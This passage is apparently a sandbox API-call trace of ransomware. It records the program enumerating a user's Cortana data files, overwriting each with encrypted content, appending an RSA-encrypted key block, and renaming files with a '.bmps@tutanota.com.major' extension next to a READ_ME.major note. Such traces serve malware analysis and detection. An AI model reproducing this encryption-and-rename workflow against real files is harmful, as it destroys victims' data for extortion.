(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0249.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0249.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x66e948 [0249.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.216] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0249.216] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=21530) returned 1 [0249.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x541a) returned 0x2f39028 [0249.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x541a) returned 0x33f5018 [0249.217] ReadFile (in: hFile=0x1b08, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x541a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x541a, lpOverlapped=0x0) returned 1 [0249.373] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-21530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.373] WriteFile (in: hFile=0x1b08, lpBuffer=0x33f5018*, nNumberOfBytesToWrite=0x541a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x541a, lpOverlapped=0x0) returned 1 [0249.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0249.373] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0249.373] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x541a [0249.373] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.373] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.373] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.373] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.373] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb78 [0249.374] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb78, pcchString=0x2e3f9a8 | out: pszString="yE3wU4OaCHXVGVm5jQxs9lmYEL5F5xl8/B2UPMlc0ZwvUI3iHTe+XSVy+ypOux2K\nnjVWydAgS56kU9PW+nn0oNUk5AKIatu7T2O1BQQzCiaju51xQswmleNnr6phnfUi\n7Y0AT16JGYm49BSLuLcLA8fo7wLh8gFYqP9EtPl+fnTXYTpBXOUEY8sHj1UV7plB\nIj7JKDmRVfhK+IWVBAZJbhefowOlvx7N3GPNModT/UG9Y+CHfqwYSajuw/cUGmXC\nhIhKWSxbi7IgQZO3uwZSKIb6UNZqrXXcUf221PO2PYAczd5JRoP/P/zbyAmRVoq8\nyuRghBGpGGvCY0DEJGBfQg==\n", pcchString=0x2e3f9a8) returned 1 [0249.374] WriteFile (in: hFile=0x1b08, lpBuffer=0x66eb78*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.374] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.374] WriteFile (in: hFile=0x1b08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.374] CloseHandle (hObject=0x1b08) returned 1 [0249.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb78 | out: hHeap=0x570000) returned 1 [0249.374] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0249.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0249.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0249.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4d88 | out: hHeap=0x570000) returned 1 [0249.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x130) returned 0x5815b0 [0249.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0249.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0249.376] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0249.376] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d1109, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31a60 [0249.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0249.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0249.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0249.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0249.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0249.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0249.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0249.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0249.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0249.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0249.377] GetLastError () returned 0x0 [0249.377] SetLastError (dwErrCode=0x0) [0249.377] GetLastError () returned 0x0 [0249.377] SetLastError (dwErrCode=0x0) [0249.377] GetLastError () returned 0x0 [0249.377] SetLastError (dwErrCode=0x0) [0249.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0249.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be7e8 [0249.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f31ca0 [0249.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f31ca0 | out: hHeap=0x570000) returned 1 [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0249.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0249.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0249.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0249.378] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d1109, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0249.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0249.378] SetLastError (dwErrCode=0x0) [0249.378] GetLastError () returned 0x0 [0249.378] SetLastError (dwErrCode=0x0) [0249.378] GetLastError () returned 0x0 [0249.378] SetLastError (dwErrCode=0x0) [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0249.378] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd88ca800, ftCreationTime.dwHighDateTime=0x1d196ec, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd88ca800, ftLastWriteTime.dwHighDateTime=0x1d196ec, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="apps.csg", cAlternateFileName="")) returned 1 [0249.378] SetLastError (dwErrCode=0x0) [0249.378] GetLastError () returned 0x0 [0249.378] SetLastError (dwErrCode=0x0) [0249.378] GetLastError () returned 0x0 [0249.378] SetLastError (dwErrCode=0x0) [0249.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.379] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="apps.schema", cAlternateFileName="APPS~1.SCH")) returned 1 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] GetLastError () returned 0x0 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] GetLastError () returned 0x0 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0249.379] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0x7b5e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="appsconversions.txt", cAlternateFileName="APPSCO~1.TXT")) returned 1 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] GetLastError () returned 0x0 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] GetLastError () returned 0x0 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0249.379] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1211e300, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24d1109, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1211e300, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x5758c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="appsglobals.txt", cAlternateFileName="APPSGL~1.TXT")) returned 1 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] GetLastError () returned 0x0 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] GetLastError () returned 0x0 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0249.379] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2ed200, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1f2ed200, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x13d5b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="appssynonyms.txt", cAlternateFileName="APPSSY~1.TXT")) returned 1 [0249.379] SetLastError (dwErrCode=0x0) [0249.379] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0249.380] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4761ef4a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4761ef4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x476459ec, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.380] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9bdd500, ftCreationTime.dwHighDateTime=0x1d196ec, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd9bdd500, ftLastWriteTime.dwHighDateTime=0x1d196ec, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.csg", cAlternateFileName="")) returned 1 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0249.380] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.schema", cAlternateFileName="SETTIN~1.SCH")) returned 1 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.380] GetLastError () returned 0x0 [0249.380] SetLastError (dwErrCode=0x0) [0249.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0249.381] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0x7b5e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settingsconversions.txt", cAlternateFileName="SETTIN~2.TXT")) returned 1 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] GetLastError () returned 0x0 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] GetLastError () returned 0x0 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0249.381] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13431000, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x13431000, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x9e1f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settingsglobals.txt", cAlternateFileName="SETTIN~1.TXT")) returned 1 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] GetLastError () returned 0x0 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] GetLastError () returned 0x0 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0249.381] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3241a200, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3241a200, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x12b16, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settingssynonyms.txt", cAlternateFileName="SETTIN~3.TXT")) returned 1 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] GetLastError () returned 0x0 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] GetLastError () returned 0x0 [0249.381] SetLastError (dwErrCode=0x0) [0249.381] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0249.381] FindNextFileW (in: hFindFile=0x2f31a60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3241a200, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3241a200, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x12b16, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settingssynonyms.txt", cAlternateFileName="SETTIN~3.TXT")) returned 0 [0249.382] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66df78 [0249.382] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0249.382] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.382] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt", dwFileAttributes=0x80) returned 1 [0249.383] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.384] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=76566) returned 1 [0249.384] ReadFile (in: hFile=0x1b0c, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x12b16, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x12b16, lpOverlapped=0x0) returned 1 [0249.471] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-76566, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.471] WriteFile (in: hFile=0x1b0c, lpBuffer=0x3407b38*, nNumberOfBytesToWrite=0x12b16, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3407b38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12b16, lpOverlapped=0x0) returned 1 [0249.472] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12b16 [0249.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.472] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.472] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WDvnV++MFw88kgKeuBQ93plIrkr/yniQjAod5NoGXYnUc76fgkIckv3giMFWumeZ\n8olBclWywB8/W2reH8LJDGRthdizt2zGqTMOWQfJSER1JYZpVccxOtSpg3tDUJxC\niBAdo6NC+DP724vaFQ5ZgkiLCIm/LIc2xGMYvbsR+HRTY9IlxwPfzy9+iJKihFkh\nmI6o1MoYkmN7T4em6hvf5G5WH2v59+zS2URZ3AMjgKQeDupNioNct8XCzfsXtJ8Y\n4qVMEHzgHct4JQUfPnEYWT2EQpo9VlEKfjG8zKiAczJwhr24JC0R/4Rr48ZzXPbB\ndJb18d8VPf7bXHqnF5RRhg==\n", pcchString=0x2e3f9a8) returned 1 [0249.472] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.473] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.473] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.473] CloseHandle 